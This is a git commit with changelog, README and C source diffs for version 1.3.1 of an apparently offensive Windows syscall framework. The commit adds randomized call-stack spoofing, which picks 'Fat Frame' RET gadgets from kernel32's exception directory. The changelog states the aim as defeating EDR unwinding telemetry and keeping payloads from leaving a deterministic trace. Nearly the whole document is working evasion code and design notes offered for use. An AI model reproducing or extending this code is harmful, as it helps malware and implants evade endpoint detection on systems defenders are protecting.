Release v1.3.1: OpSec Patch (Dynamic Fat Frame Entropy)

- Implemented entropy-based pseudo-randomizer in snd_syscall_find_spoof_scan to prevent deterministic telemetry.
- Randomized Fat Frame selection using the SSN hash, a static counter, and ASLR-dependent module/stack addresses.
- Hardened spoof scanner to reject frames using Frame Registers (UWOP_SET_FPREG) to prevent RtlVirtualUnwind crashes.
- Added strict bounds checking to cap Fat Frame sizes at 240 bytes, preventing MASM local stack corruption.Release v1.3.0: Stack Spoofing & Dynamic Fat Frame.
This commit is contained in:
sibouzitoun
2026-07-07 11:27:13 +01:00
parent da52e28ca5
commit 1f87b142ba
3 changed files with 46 additions and 5 deletions
+10
View File
@@ -6,6 +6,16 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
---
## [1.3.1] - 2026-07-07
OpSec Patch release addressing deterministic telemetry in stack spoofing.
### Security & OpSec
- **Fat Frame Entropy:** Implemented a pseudo-randomizer in `snd_syscall_find_spoof_scan` to prevent deterministic stack spoofing telemetry. The engine now uses the target function's SSN hash, a static counter, and the ASLR-dependent memory addresses of the `ntdll` base and the entry struct to randomize the selection of Fat Frames. This ensures payloads do not spoof the exact same `kernel32.dll` function on every execution, shifting the stack trace dynamically.
- **Fat Frame Hardening:** Added strict bounds checking to the spoof scanner. It now rejects functions that use a Frame Register (which could break `RtlVirtualUnwind` offset calculations) and caps the selected `frame_size` to a maximum of 240 bytes to ensure it cannot overflow the pre-allocated local stack space inside the MASM stub.
---
## [1.3.0] - 2026-07-06
Fourth major release. The framework introduces Call Stack Spoofing to defeat EDR virtual unwinding telemetry.
+4 -3
View File
@@ -142,9 +142,10 @@ To prevent frame desynchronization during stack unwinding (where the EDR's `RtlV
1. Resolve the natively loaded `kernel32.dll` via PEB.
2. Manually parse the **Exception Directory** (`.pdata`) of `kernel32.dll` (avoiding native APIs like `RtlLookupFunctionEntry` for stealth).
3. Iterate through `RUNTIME_FUNCTION` entries and parse their `UNWIND_INFO` structures to calculate the total stack space allocated by each function.
4. Find a function that allocates at least **120 bytes** (a "Fat Frame"). This ensures the legitimate function's shadow space is large enough to encapsulate our spoofed JMP-trampoline and its arguments.
5. Scan the body of the Fat Frame function for a `0xC3` (`RET`) instruction.
6. Populate `entry->pSpoofAddr` with the gadget address and `entry->dwSpoofFrameSize` with the required stack offset.
4. Find a function that allocates at least **120 bytes** and at most **240 bytes** (a capped "Fat Frame"). This ensures the legitimate function's shadow space is large enough to encapsulate our spoofed JMP-trampoline and its arguments without risking stack overflow.
5. **Entropy Randomization:** To avoid creating a deterministic telemetry pattern (where every syscall spoofs the exact same function), the scanner uses an internal pseudo-randomizer seeded by the target function's hash, a static counter, and the memory addresses of the `ntdll` base and the entry struct. This guarantees it will skip a randomized number of valid Fat Frames before settling on one.
6. Scan the body of the chosen Fat Frame function for a `0xC3` (`RET`) instruction.
7. Populate `entry->pSpoofAddr` with the gadget address and `entry->dwSpoofFrameSize` with the required stack offset.
### Algorithm (x86)
+32 -2
View File
@@ -33,6 +33,15 @@ snd_status_t snd_syscall_find_spoof_scan(snd_syscall_entry_t *entry) {
PRUNTIME_FUNCTION pdata = (PRUNTIME_FUNCTION)((ULONG_PTR)kernel32 + pdata_rva);
DWORD pdata_count = pdata_size / sizeof(RUNTIME_FUNCTION);
// Simple randomizer using a static counter + hash + memory addresses for entropy
static ULONG call_count = 0;
ULONG entropy = (ULONG)((ULONG_PTR)kernel32 & 0xFFFFFFFF) ^ (ULONG)((ULONG_PTR)entry & 0xFFFFFFFF);
ULONG skip_count = (entry->dwHash + ++call_count + entropy) % 15; // Skip up to 14 fat frames
ULONG current_fat_frames = 0;
PVOID fallback_gadget = NULL;
DWORD fallback_frame_size = 0;
for (DWORD i = 0; i < pdata_count; i++) {
PRUNTIME_FUNCTION func = &pdata[i];
@@ -48,6 +57,11 @@ snd_status_t snd_syscall_find_spoof_scan(snd_syscall_entry_t *entry) {
continue;
}
BYTE frameReg = unwind_info[3] & 0x0F;
if (frameReg != 0) {
continue; // Reject functions that use a frame pointer to prevent RtlVirtualUnwind desync
}
BYTE countOfCodes = unwind_info[2];
PBYTE codes = unwind_info + 4;
@@ -99,7 +113,7 @@ snd_status_t snd_syscall_find_spoof_scan(snd_syscall_entry_t *entry) {
}
}
if (frame_size >= 120) {
if (frame_size >= 120 && frame_size <= 240) {
PBYTE func_body = (PBYTE)((ULONG_PTR)kernel32 + func->BeginAddress);
DWORD func_size = func->EndAddress - func->BeginAddress;
@@ -111,11 +125,27 @@ snd_status_t snd_syscall_find_spoof_scan(snd_syscall_entry_t *entry) {
}
}
if (gadget)
if (gadget) {
if (!fallback_gadget) {
fallback_gadget = gadget;
fallback_frame_size = frame_size;
}
if (current_fat_frames < skip_count) {
current_fat_frames++;
gadget = NULL; // Keep searching for the next one
continue;
}
break;
}
}
}
if (!gadget && fallback_gadget) {
gadget = fallback_gadget;
entry->dwSpoofFrameSize = fallback_frame_size;
}
}
#else
FARPROC exec_addr = NULL;